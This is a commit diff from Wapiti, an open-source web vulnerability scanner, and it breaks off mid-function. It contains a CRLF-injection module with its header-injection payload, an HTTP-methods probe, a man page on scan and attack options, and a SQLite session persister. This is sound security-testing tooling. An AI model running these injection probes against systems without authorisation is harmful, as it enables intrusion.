And to people who help on version 3.0.0 :
* Milan Bartos
* Thijs Kinkhorst
* Gianfranco Costamagna

View File

@ -0,0 +1,10 @@
include README.md
include INSTALL.md
include VERSION
recursive-include wapitiCore/config *
recursive-include wapitiCore/language_sources *
recursive-include wapitiCore/report_template *
recursive-include doc *
exclude wapitiCore/language_sources/*.sh
exclude wapitiCore/language_sources/file_list.txt

View File

@ -0,0 +1,19 @@
../attack/attack.py
../attack/mod_backup.py
../attack/mod_blindsql.py
../attack/mod_buster.py
../attack/mod_crlf.py
../attack/mod_delay.py
../attack/mod_exec.py
../attack/mod_file.py
../attack/mod_htaccess.py
../attack/mod_nikto.py
../attack/mod_permanentxss.py
../attack/mod_shellshock.py
../attack/mod_sql.py
../attack/mod_xss.py
../language/vulnerability.py
../main/getcookie.py
../main/wapiti.py
../net/crawler.py
../report/txtreportgenerator.py

View File

@ -0,0 +1,100 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from urllib.parse import quote
from requests.exceptions import ReadTimeout, HTTPError, RequestException
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
class mod_crlf(Attack):
"""This class implements a CRLF attack"""
# Won't work with PHP >= 4.4.2
name = "crlf"
MSG_VULN = _("CRLF Injection")
do_get = False
do_post = False
payloads = (quote("http://www.google.fr\r\nwapiti: 3.0.1 version"), set())
def attack(self):
mutator = self.get_mutator()
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
for http_res in http_resources:
page = http_res.path
for mutated_request, parameter, payload, flags in mutator.mutate(http_res):
try:
if self.verbose == 2:
print("+ {0}".format(mutated_request.url))
try:
response = self.crawler.send(mutated_request)
except ReadTimeout:
self.add_anom(
request_id=http_res.path_id,
category=Anomaly.RES_CONSUMPTION,
level=Anomaly.MEDIUM_LEVEL,
request=mutated_request,
parameter=parameter,
info="Timeout (" + parameter + ")"
)
self.log_orange("---")
self.log_orange(Anomaly.MSG_TIMEOUT, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
except HTTPError:
self.log(_("Error: The server did not understand this request"))
else:
if "wapiti" in response.headers:
self.add_vuln(
request_id=http_res.path_id,
category=Vulnerability.CRLF,
level=Vulnerability.HIGH_LEVEL,
request=mutated_request,
parameter=parameter,
info=self.MSG_VULN + " (" + parameter + ")"
)
if parameter == "QUERY_STRING":
injection_msg = Vulnerability.MSG_QS_INJECT
else:
injection_msg = Vulnerability.MSG_PARAM_INJECT
self.log_red("---")
self.log_red(
injection_msg,
self.MSG_VULN,
page,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(mutated_request.http_repr())
self.log_red("---")
except (RequestException, KeyboardInterrupt) as exception:
yield exception
yield http_res

View File

@ -0,0 +1,27 @@
<?xml version="1.0" encoding="UTF-8"?>
<anomalies>
<anomaly name="Internal Server Error">
<description>Internal server error description</description>
<solution text="Internal server error solution"/>
<references>
<reference>
<title>Wikipedia article for 5xx HTTP error codes</title>
<url>https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#5xx_Server_Error</url>
</reference>
</references>
</anomaly>
<anomaly name="Resource consumption">
<description>Resource consumption description</description>
<solution text="Resource consumption solution"/>
<references>
<reference>
<title>http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification)</title>
<url>http://www.owasp.org/index.php/Asymmetric_resource_consumption_(amplification)</url>
</reference>
<reference>
<title><![CDATA[CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')]]></title>
<url>http://cwe.mitre.org/data/definitions/400.html</url>
</reference>
</references>
</anomaly>
</anomalies>

View File

@ -0,0 +1,580 @@
.\" generated with Ronn/v0.7.3
.\" http://github.com/rtomayko/ronn/tree/0.7.3
.
.TH "WAPITI" "1" "January 2018" "" ""
.
.SH "NAME"
\fBwapiti\fR \- A web application vulnerability scanner in Python
.
.SH "SYNOPSIS"
\fBwapiti\fR \-u \fIBASE_URL\fR [options]
.
.SH "DESCRIPTION"
Wapiti allows you to audit the security of your web applications\.
.
.P
It performs "black\-box" scans, i\.e\. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data\.
.
.P
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable\.
.
.P
Wapiti is useful only to discover vulnerabilities : it is not an exploitation tools\. Some well known applications can be used for the exploitation part like the recommanded sqlmap\.
.
.SH "OPTIONS SUMMARY"
Here is a summary of options\. It is essentially what you will get when you launch Wapiti without any argument\. More detail on each option can be found in the following sections\.
.
.P
TARGET SPECIFICATION:
.
.IP "\(bu" 4
\fB\-u\fR \fIURL\fR
.
.IP "\(bu" 4
\fB\-\-scope\fR {page,folder,domain,url}
.
.IP "" 0
.
.P
ATTACK SPECIFICATION:
.
.IP "\(bu" 4
\fB\-m\fR \fIMODULES_LIST\fR
.
.IP "\(bu" 4
\fB\-\-list\-modules\fR
.
.IP "\(bu" 4
\fB\-l\fR \fILEVEL\fR
.
.IP "" 0
.
.P
PROXY AND AUTHENTICATION OPTIONS:
.
.IP "\(bu" 4
\fB\-p\fR \fIPROXY_URL\fR
.
.IP "\(bu" 4
\fB\-a\fR \fICREDENTIALS\fR
.
.IP "\(bu" 4
\fB\-\-auth\-type\fR {basic,digest,kerberos,ntlm}
.
.IP "\(bu" 4
\fB\-c\fR \fICOOKIE_FILE\fR
.
.IP "" 0
.
.P
SESSION OPTIONS:
.
.IP "\(bu" 4
\fB\-\-skip\-crawl\fR
.
.IP "\(bu" 4
\fB\-\-resume\-crawl\fR
.
.IP "\(bu" 4
\fB\-\-flush\-attacks\fR
.
.IP "\(bu" 4
\fB\-\-flush\-session\fR
.
.IP "" 0
.
.P
SCAN AND ATTACKS TUNING:
.
.IP "\(bu" 4
\fB\-s\fR \fIURL\fR
.
.IP "\(bu" 4
\fB\-x\fR \fIURL\fR
.
.IP "\(bu" 4
\fB\-r\fR \fIPARAMETER\fR
.
.IP "\(bu" 4
\fB\-\-skip\fR \fIPARAMETER\fR
.
.IP "\(bu" 4
\fB\-d\fR \fIDEPTH\fR
.
.IP "\(bu" 4
\fB\-\-max\-links\-per\-page\fR \fIMAX_LINKS_PER_PAGE\fR
.
.IP "\(bu" 4
\fB\-\-max\-files\-per\-dir\fR \fIMAX_FILES_PER_DIR\fR
.
.IP "\(bu" 4
\fB\-\-max\-scan\-time\fR \fIMAX_SCAN_TIME\fR
.
.IP "\(bu" 4
\fB\-\-max\-parameters\fR \fIMAX\fR
.
.IP "\(bu" 4
\fB\-S\fR, \fB\-\-scan\-force\fR {paranoid,sneaky,polite,normal,aggressive,insane}
.
.IP "" 0
.
.P
HTTP AND NETWORK OPTIONS:
.
.IP "\(bu" 4
\fB\-t\fR \fISECONDS\fR
.
.IP "\(bu" 4
\fB\-H\fR \fIHEADER\fR
.
.IP "\(bu" 4
\fB\-A\fR \fIAGENT\fR
.
.IP "\(bu" 4
\fB\-\-verify\-ssl\fR {0,1}
.
.IP "" 0
.
.P
OUTPUT OPTIONS:
.
.IP "\(bu" 4
\fB\-\-color\fR
.
.IP "\(bu" 4
\fB\-v\fR \fILEVEL\fR
.
.IP "" 0
.
.P
REPORT OPTIONS:
.
.IP "\(bu" 4
\fB\-f\fR {json,html,txt,openvas,vulneranet,xml}
.
.IP "\(bu" 4
\fB\-o\fR \fIOUPUT_PATH\fR
.
.IP "" 0
.
.P
OTHER OPTIONS:
.
.IP "\(bu" 4
\fB\-\-no\-bugreport\fR
.
.IP "\(bu" 4
\fB\-\-version\fR
.
.IP "\(bu" 4
\fB\-h\fR
.
.IP "" 0
.
.SH "TARGET SPECIFICATION"
.
.IP "\(bu" 4
\fB\-u\fR, \fB\-\-url\fR \fIURL\fR
.
.br
The URL that will be used as the base for the scan\. Every URL found during the scan will be checked against the base URL and the corresponding scan scope (see \-\-scope for details)\.
.
.br
This is the only required argument\. The scheme part of the URL must be either http or https\.
.
.IP "\(bu" 4
\fB\-\-scope\fR \fISCOPE\fR
.
.br
Define the scope of the scan and attacks\. Valid choices are :
.
.IP "\(bu" 4
url : will only scan and attack the exact base URL given with \-u option
.
.IP "\(bu" 4
page : will attack every URL matching the path of the base URL (every query string variation)
.
.IP "\(bu" 4
folder : will scan and attack every URL starting with the base URL value\. This base URL should have a trailing slash (no filename)
.
.IP "\(bu" 4
domain : will scan and attack every URL whose domain name match the one from the base URL\.
.
.IP "" 0
.
.IP "" 0
.
.SH "ATTACK SPECIFICATION"
.
.IP "\(bu" 4
\fB\-m\fR, \fB\-\-module\fR \fIMODULE_LIST\fR
.
.br
Set the list of attack modules (modules names separated with commas) to launch against the target\.
.
.br
Default behavior (when the option is not set) is to use the most common modules\.
.
.br
Common modules can also be specified using the "common" keyword\.
.
.br
To launch a scan without launching any attack, just give an empty value (\-m "")\.
.
.br
You can filter on http methods too (only get or post)\. For example \-m "xss:get,exec:post"\.
.
.IP "\(bu" 4
\fB\-\-list\-modules\fR
.
.br
Print the list of available Wapiti modules and exit\.
.
.IP "\(bu" 4
\fB\-l\fR, \fB\-\-level\fR \fILEVEL\fR
.
.br
In previous versions Wapiti used to inject attack payloads in query strings even if no parameter was present in the original URL\.
.
.br
While it may be successful in finding vulnerabilities that way, it was causing too many requests for not enough success\.
.
.br
This behavior is now hidden behind this option and can be reactivated by setting \-l to 2\.
.
.br
It may be useful on CGIs when developers have to parse the query\-string themselves\.
.
.br
Default value for this option is 1\.
.
.IP "" 0
.
.SH "PROXY AND AUTHENTICATION OPTIONS"
.
.IP "\(bu" 4
\fB\-p\fR, \fB\-\-proxy\fR \fIPROXY_URL\fR
.
.br
The given URL will be used as a proxy for HTTP and HTTPS requests\. This URL can have one of the following scheme : http, https, socks\.
.
.br
To make Wapiti use a Tor listener you can use \-\-proxy socks://127\.0\.0\.1:9050/
.
.IP "\(bu" 4
\fB\-a\fR, \fB\-\-auth\-cred\fR \fICREDENTIALS\fR
.
.br
Set credentials to use for HTTP authentication on the target\.
.
.br
Given value should be in the form login%password (% is used as a separator)
.
.IP "\(bu" 4
\fB\-\-auth\-type\fR \fITYPE\fR
.
.br
Set the authentication mechanism to use\. Valid choices are basic, digest, kerberos and ntlm\.
.
.br
Kerberos and NTLM authentication may require you to install additionnal Python modules\.
.
.IP "\(bu" 4
\fB\-c\fR, \fB\-\-cookie\fR \fICOOKIE_FILE\fR
.
.br
Load cookies from a Wapiti JSON cookie file\. See wapiti\-getcookie(1) for more informations\.
.
.IP "" 0
.
.SH "SESSION OPTIONS"
Since Wapiti 3\.0\.0, scanned URLs, discovered vulnerabilities and attacks status are stored in sqlite3 databases used as Wapiti session files\.
.
.br
Default behavior when a previous scan session exists for the given base URL and scope is to resume the scan and attack status\.
.
.br
Following options allows you to bypass this behavior/
.
.IP "\(bu" 4
\fB\-\-skip\-crawl\fR
.
.br
If a previous scan was performed but wasn\'t finished, don\'t resume the scan\. Attack will be made on currently known URLs without scanning more\.
.
.IP "\(bu" 4
\fB\-\-resume\-crawl\fR
.
.br
If the crawl was previously stopped and attacks started, default behavior is to skip crawling if the session is restored\.
.
.br
Use this option in order to continue the scan process while keeping vulnerabilities and attacks in the session\.
.
.IP "\(bu" 4
\fB\-\-flush\-attacks\fR
.
.br
Forget everything about discovered vulnerabilities and which URL was attacked by which module\.
.
.br
Only the scan (crawling) informations will be kept\.
.
.IP "\(bu" 4
\fB\-\-flush\-session\fR
.
.br
Forget everything about the target for the given scope\.
.
.IP "" 0
.
.SH "SCAN AND ATTACKS TUNING"
.
.IP "\(bu" 4
\fB\-s\fR, \fB\-\-start\fR \fIURL\fR
.
.br
If for some reasons, Wapiti doesn\'t find any (or enough) URLs from the base URL you can still add URLs to start the scan with\.
.
.br
Those URLs will be given a depth of 0, just like the base URL\.
.
.br
This option can be called several times\.
.
.br
You can also give it a filename and Wapiti will read URLs from the given file (must be UTF\-8 encoded), one URL per line\.
.
.IP "\(bu" 4
\fB\-x\fR, \fB\-\-exclude\fR \fIURL\fR
.
.br
Prevent the given URL from being scanned\. Common use is to exclude the logout URL to prevent the destruction of session cookies (if you specified a cookie file with \-\-cookie)\.
.
.br
This option can be applied several times\. Excluded URL given as a parameter can contain wildcards for basic pattern matching\.
.
.IP "\(bu" 4
\fB\-r\fR, \fB\-\-remove\fR \fIPARAMETER\fR
.
.br
If the given parameter is found in scanned URL it will be automatically removed (URLs are edited)\.
.
.br
This option can be used several times\.
.
.IP "\(bu" 4
\fB\-\-skip\fR \fIPARAMETER\fR
.
.br
Given parameter will be kept in URLs and forms but won\'t be attacked\.
.
.br
Useful if you already know non\-vulnerable parameters\.
.
.IP "\(bu" 4
\fB\-d\fR, \fB\-\-depth\fR \fIDEPTH\fR
.
.br
When Wapiti crawls a website it gives each found URL a depth value\.
.
.br
The base URL, and additionnal starting URLs (\-s) are given a depth of 0\.
.
.br
Each link found in thoses URLs got a depth of 1, and so on\.
.
.br
Default maximum depth is 40 and is very large\.
.
.br
This limit make sure the scan will stop at some time\.
.
.br
For a fast scan a depth inferior to 5 is recommanded\.
.
.IP "\(bu" 4
\fB\-\-max\-links\-per\-page\fR \fIMAX\fR
.
.br
This is another option to be able to reduce the number of URLs discovered by the crawler\.
.
.br
Only the first MAX links of each webpage will be extracted\.
.
.br
This option is not really effective as the same link may appear on different webpages\.
.
.br
It should be useful is rare conditions, for exeample when there is a lot a webpages without query string\.
.
.IP "\(bu" 4
\fB\-\-max\-files\-per\-dir\fR \fIMAX\fR
.
.br
Limit the number of URLs to crawl under each folder found on the webserver\.
.
.br
Note that an URL with a trailing slash in the path is not necessarily a folder with Wapiti will treat it as its is\.
.
.br
Like the previous option it should be useful only in certain situations\.
.
.IP "\(bu" 4
\fB\-\-max\-scan\-time\fR \fIMINUTES\fR
.
.br
Stop the scan after MINUTES minutes if it is still running\.
.
.br
Should be useful to automatise scanning from another process (continuous testing)\.
.
.IP "\(bu" 4
\fB\-\-max\-parameters\fR \fIMAX\fR
.
.br
URLs and forms having more than MAX input parameters will be discarded before launching attack modules\.
.
.IP "\(bu" 4
\fB\-S\fR, \fB\-\-scan\-force\fR \fIFORCE\fR
.
.br
The more input parameters an URL or form have, the more requests Wapiti will send\.
.
.br
The sum of requests can grow rapidly and attacking a form with 40 or more input fields can take a huge ammount of time\.
.
.br
Wapiti use a mathematical formula to reduce the numbers of URLs scanned for a given pattern (same variables names) when the number of parameters grows\.
.
.br
The formula is \fBmaximum_allowed_patterns = 220 / (math\.exp(number_of_parameters * factor) ** 2)\fR where factor is an internal value controller by the \fIFORCE\fR value you give as an option\.
.
.br
Availables choices are : paranoid, sneaky, polite, normal, aggressive, insane\.
.
.br
Default value is normal (147 URLs for 1 parameter, 30 for 5, 5 for 10, 1 for 14 or more)\.
.
.br
Insane mode just remove the calculation of thoses limits, every URL will be attacked\.
.
.br
Paranoid mode will attack 30 URLs with 1 parameter, 5 for 2, and just 1 for 3 and more)\.
.
.IP "" 0
.
.SH "HTTP AND NETWORK OPTIONS"
.
.IP "\(bu" 4
\fB\-t\fR, \fB\-\-timemout\fR \fISECONDS\fR
.
.br
Time to wait (in seconds) for a HTTP response before considering failure\.
.
.IP "\(bu" 4
\fB\-H\fR, \fB\-\-header\fR \fIHEADER\fR
.
.br
Set a custom HTTM header to inject in every request sent by Wapiti\. This option can be used several times\.
.
.br
Value should be a standard HTTP header line (parameter and value separated with a : sign)\.
.
.IP "\(bu" 4
\fB\-A\fR, \fB\-\-user\-agent\fR \fIAGENT\fR
.
.br
Default behavior of Wapiti is to use the same User\-Agent as the TorBrowser, making it discreet when crawling standard website or \.onion ones\.
.
.br
But you may have to change it to bypass some restrictions so this option is here\.
.
.IP "\(bu" 4
\fB\-\-verify\-ssl\fR \fIVALUE\fR
.
.br
Wapiti doesn\'t care of certificates validation by default\. That behavior can be changed by passing 1 as a value to that option\.
.
.IP "" 0
.
.SH "OUTPUT OPTIONS"
Wapiti prints its status to standard output\. The two following options allow to tune the output\.
.
.IP "\(bu" 4
\fB\-\-color\fR
.
.br
Outpout will be colorized based on the severity of the information (red is critical, orange for warnings, green for information)\.
.
.IP "\(bu" 4
\fB\-v\fR, \fB\-\-verbose\fR \fILEVEL\fR
.
.br
Set the level of verbosity for the output\. Possible values are quiet (O), normal (1, default behavior) and verbose (2)\.
.
.IP "" 0
.
.SH "REPORT OPTIONS"
Wapiti will generate a report at the end of the attack process\. Several formats of reports are available\.
.
.IP "\(bu" 4
\fB\-f\fR, \fB\-\-format\fR \fIFORMAT\fR
.
.br
Set the format of the report\. Valid choices are json, html, txt, openvas, vulneranet and xml\.
.
.br
Although the HTML reports were rewritten to be more responsive, they still are impraticable when there is a lot of found vulnerabilities\.
.
.IP "\(bu" 4
\fB\-o\fR, \fB\-\-output\fR \fIOUTPUT_PATH\fR
.
.br
Set the path were the report will be generated\.
.
.IP "" 0
.
.SH "OTHER OPTIONS"
.
.IP "\(bu" 4
\fB\-\-version\fR
.
.br
Print Wapiti version then exit\.
.
.IP "\(bu" 4
\fB\-\-no\-bugreport\fR
.
.br
If a Wapiti attack module crashes of a non\-caught exception a bug report is generated and sent for analysis in order to improve Wapiti reliability\. Note that only the content of the report is kept\.
.
.br
You can still prevent reports from being sent using that option\.
.
.IP "\(bu" 4
\fB\-h\fR, \fB\-\-help\fR
.
.br
Show detailed options description\. More details are available in this manpage though\.
.
.IP "" 0
.
.SH "LICENSE"
Wapiti is covered by the GNU General Public License (GPL), version 2\. Please read the COPYING file for more information\.
.
.SH "COPYRIGHT"
Copyright (c) 2006\-2018 Nicolas Surribas\.
.
.SH "AUTHORS"
Nicolas Surribas is the main author, but the whole list of contributors is found in the separate AUTHORS file\.
.
.SH "WEBSITE"
http://wapiti\.sourceforge\.net/
.
.SH "BUG REPORTS"
If you find a bug in Wapiti please report it to https://sourceforge\.net/p/wapiti/bugs/
.
.SH "SEE ALSO"
The INSTALL\.md file that comes with Wapiti contains every information required to install Wapiti\.

View File

@ -0,0 +1,82 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from itertools import chain
from wapitiCore.attack.attack import Attack
from wapitiCore.net.web import Request
from requests.exceptions import RequestException
class mod_methods(Attack):
"""
This class detects interesting HTTP methods
"""
name = "methods"
PRIORITY = 6
KNOWN_METHODS = {"GET", "POST", "OPTIONS", "HEAD", "TRACE"}
do_get = False
do_post = False
def attack(self):
excluded_path = set()
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
for original_request in chain(http_resources, forms):
try:
page = original_request.path
if page in excluded_path:
continue
excluded_path.add(page)
option_request = Request(
page,
"OPTIONS",
referer=original_request.referer,
link_depth=original_request.link_depth
)
if self.verbose == 2:
print("[+] {}".format(option_request))
try:
response = self.crawler.send(option_request)
except RequestException:
continue
else:
if 200 <= response.status < 400:
methods = response.headers.get("allow", '').upper().split(',')
methods = {method.strip() for method in methods if method.strip()}
interesting_methods = sorted(methods - self.KNOWN_METHODS)
if interesting_methods:
self.log_orange("---")
self.log_orange(
"Interesting methods allowed on {}: {}".format(
page,
", ".join(interesting_methods)
)
)
self.log_orange("---")
except (KeyboardInterrupt, RequestException) as exception:
yield exception
yield original_request

View File

@ -0,0 +1,508 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2017-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import json
import sqlite3
from collections import namedtuple
from wapitiCore.net import web
Payload = namedtuple("Payload", "evil_request,original_request,category,level,parameter,info,type")
class SqlitePersister:
"""This class makes the persistence tasks for persisting the crawler parameters
in other to can continue the process in the future.
"""
CRAWLER_DATA_DIR_NAME = "scans"
HOME_DIR = os.getenv("HOME") or os.getenv("USERPROFILE")
BASE_DIR = os.path.join(HOME_DIR, ".wapiti")
CRAWLER_DATA_DIR = os.path.join(BASE_DIR, CRAWLER_DATA_DIR_NAME)
ROOT_URL = "rootURL"
TO_BROWSE = "toBrowse"
BROWSED = "browsed"
RESOURCE = "resource"
METHOD = "method"
PATH = "path"
INPUT = "input"
INPUT_NAME = "name"
INPUT_VALUE = "value"
HEADERS = "headers"
HEADER = "header"
HEADER_NAME = "name"
HEADER_VALUE = "value"
ENCODING = "encoding"
MULTIPART = "multipart"
REFERER = "referer"
GET_PARAMS = "get_params"
POST_PARAMS = "post_params"
FILE_PARAMS = "file_params"
DEPTH = "depth"
def __init__(self, output_file: str):
# toBrowse can contain GET and POST resources
self.to_browse = []
# browsed contains only GET resources
self.browsed_links = []
# forms contains only POST resources
self.browsed_forms = []
self.uploads = []
self.headers = {}
self.root_url = ""
self.tag = ""
self.array = None
self.method = ""
self.path = ""
self.encoding = ""
self.multipart = False
self.referer = ""
self.get_params = []
self.post_params = []
self.file_params = []
self.depth = 0
self.output_file = output_file
must_create = not os.path.exists(self.output_file)
self._conn = sqlite3.connect(self.output_file)
cursor = self._conn.cursor()
if must_create:
cursor.execute("""CREATE TABLE scan_infos (key TEXT, value TEXT)""")
cursor.execute(
"""CREATE TABLE paths (
path_id INTEGER PRIMARY KEY,
path TEXT,
method TEXT,
multipart INTEGER,
depth INTEGER,
encoding TEXT,
http_status INTEGER,
headers TEXT,
referer TEXT,
evil INTEGER
)"""
)
cursor.execute(
"""CREATE TABLE params (
path_id INTEGER,
type TEXT,
param_order INTEGER,
name TEXT,
value TEXT,
FOREIGN KEY(path_id) REFERENCES paths(path_id)
)"""
)
cursor.execute(
"""CREATE TABLE attack_log (path_id INTEGER, module_name TEXT)"""
)
cursor.execute(
"""CREATE TABLE payloads (
evil_path INTEGER PRIMARY KEY,
original_path INTEGER,
category TEXT,
level INTEGER,
parameter TEXT,
info TEXT,
type TEXT
)"""
)
self._conn.commit()
def set_root_url(self, root_url):
cursor = self._conn.cursor()
cursor.execute("""INSERT INTO scan_infos VALUES (?, ?)""", ("root_url", root_url))
self._conn.commit()
self.root_url = root_url
def get_root_url(self):
cursor = self._conn.cursor()
cursor.execute("SELECT value FROM scan_infos WHERE key = 'root_url'")
return cursor.fetchone()[0]
def set_to_browse(self, to_browse):
self._set_paths(to_browse)
def get_to_browse(self):
yield from self._get_paths(method=None, crawled=False)
def _set_paths(self, paths):
cursor = self._conn.cursor()
for http_resource in paths:
cursor.execute(
"""INSERT INTO paths VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
(
None,
http_resource.path,
http_resource.method,
int(http_resource.is_multipart),
http_resource.link_depth,
http_resource.encoding,
http_resource.status if isinstance(http_resource.status, int) else None,
None if http_resource.headers is None else json.dumps(dict(http_resource.headers)),
http_resource.referer,
0
)
)
path_id = cursor.lastrowid
for i, (k, v) in enumerate(http_resource.get_params):
cursor.execute(
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
(path_id, "GET", i, k, v)
)
for i, (k, v) in enumerate(http_resource.post_params):
cursor.execute(
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
(path_id, "POST", i, k, v)
)
for i, (k, v) in enumerate(http_resource.file_params):
# v kill be something like ['pix.gif', 'GIF89a', 'image/gif']
# just keep the file name
cursor.execute(
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
(path_id, "FILE", i, k, v[0])
)
self._conn.commit()
def add_request(self, link):
self._set_paths([link])
def _get_paths(self, path=None, method=None, crawled: bool=True, attack_module: str="", evil: bool=False):
cursor = self._conn.cursor()
conditions = ["evil = ?"]
args = [int(evil)]
if path and isinstance(path, str):
conditions.append("path = ?")
args.append(path)
if method in ("GET", "POST"):
conditions.append("method = ?")
args.append(method)
if crawled:
conditions.append("headers IS NOT NULL")
conditions = " AND ".join(conditions)
conditions = "WHERE " + conditions
cursor.execute("SELECT * FROM paths {} ORDER BY path".format(conditions), args)
for row in cursor.fetchall():
path_id = row[0]
if attack_module:
# Exclude requests matching the attack module, we wan't requests that aren't attacked yet
cursor.execute(
"SELECT * FROM attack_log WHERE path_id = ? AND module_name = ? LIMIT 1",
(path_id, attack_module)
)
if cursor.fetchone():
continue
get_params = []
post_params = []
file_params = []
for param_row in cursor.execute(
"SELECT type, name, value FROM params WHERE path_id = ? ORDER BY type, param_order", (path_id, )
):
name = param_row[1]
value = param_row[2]
if param_row[0] == "GET":
get_params.append([name, value])
elif param_row[0] == "POST":
post_params.append([name, value])
else:
file_params.append([name, [value, "GIF89a", "image/gif"]])
http_res = web.Request(
row[1],
method=row[2],
encoding=row[5],
multipart=bool(row[3]),
referer=row[8],
get_params=get_params,
post_params=post_params,
file_params=file_params
)
if row[6]:
http_res.status = row[6]
if row[7]:
http_res.set_headers(json.loads(row[7]))
http_res.link_depth = row[4]
http_res.path_id = path_id
yield http_res
def get_links(self, path=None, attack_module: str=""):
yield from self._get_paths(path=path, method="GET", crawled=True, attack_module=attack_module)
def get_forms(self, attack_module: str=""):
yield from self._get_paths(method="POST", crawled=True, attack_module=attack_module)
def count_paths(self) -> int:
cursor = self._conn.cursor()
cursor.execute("SELECT COUNT(path_id) from paths WHERE evil = 0")
return cursor.fetchone()[0]
def set_attacked(self, path_id, module_name):
cursor = self._conn.cursor()
cursor.execute("INSERT INTO attack_log VALUES (?, ?)", (path_id, module_name))
self._conn.commit()
def count_attacked(self, module_name) -> int:
cursor = self._conn.cursor()
cursor.execute("SELECT COUNT(path_id) from attack_log WHERE module_name = ?", (module_name, ))
return cursor.fetchone()[0]
def has_scan_finished(self):
cursor = self._conn.cursor()
cursor.execute("SELECT path_id FROM paths WHERE headers IS NULL LIMIT 1")
if cursor.fetchone():
return False
return True
def has_scan_started(self) -> bool:
cursor = self._conn.cursor()
cursor.execute("SELECT path_id FROM paths LIMIT 1")
if cursor.fetchone():
return True
return False
def have_attacks_started(self) -> bool:
cursor = self._conn.cursor()
cursor.execute("SELECT path_id FROM attack_log LIMIT 1")
if cursor.fetchone():
return True
return False
def add_payload(
self, request_id: int, payload_type: str, category=None, level=0, request=None, parameter="", info=""):
cursor = self._conn.cursor()
cursor.execute(
"""INSERT INTO paths VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
(
None,
request.path,
request.method,
int(request.is_multipart),
request.link_depth,
request.encoding,
request.status if isinstance(request.status, int) else None,
None if request.headers is None else json.dumps(dict(request.headers)),
request.referer,
1
)
)
# path_id is the ID of the evil path
path_id = cursor.lastrowid
for i, (k, v) in enumerate(request.get_params):
cursor.execute(
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
(path_id, "GET", i, k, v)
)
for i, (k, v) in enumerate(request.post_params):
cursor.execute(
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
(path_id, "POST", i, k, v)
)
for i, (k, v) in enumerate(request.file_params):
cursor.execute(
"""INSERT INTO params VALUES (?, ?, ?, ?, ?)""",
(path_id, "FILE", i, k, v[0])
)
# request_id is the ID of the original (legit) request
cursor.execute(
"INSERT INTO payloads VALUES (?, ?, ?, ?, ?, ?, ?)",
(path_id, request_id, category, level, parameter, info, payload_type)
)
self._conn.commit()
def add_anomaly(self, request_id: int=-1, category=None, level=0, request=None, parameter="", info=""):
self.add_payload(
request_id,
"anomaly",
category,
level,
request,
parameter,
info
)
def add_vulnerability(self, request_id: int=-1, category=None, level=0, request=None, parameter="", info=""):
self.add_payload(
request_id,
"vulnerability",
category,
level,
request,
parameter,
info
)
def get_path_by_id(self, path_id):
cursor = self._conn.cursor()
cursor.execute("SELECT * FROM paths WHERE path_id = ? LIMIT 1", (path_id, ))
row = cursor.fetchone()
if not row:
return None
get_params = []
post_params = []
file_params = []
for param_row in cursor.execute(
"SELECT type, name, value FROM params WHERE path_id = ? ORDER BY type, param_order", (path_id, )
):
name = param_row[1]
value = param_row[2]
if param_row[0] == "GET":
get_params.append([name, value])
elif param_row[0] == "POST":
post_params.append([name, value])
else:
file_params.append([name, [value, "GIF89a", "image/gif"]])
request = web.Request(
row[1],
method=row[2],
encoding=row[5],
multipart=bool(row[3]),
referer=row[8],
get_params=get_params,
post_params=post_params,
file_params=file_params
)
if row[6]:
request.status = row[6]
if row[7]:
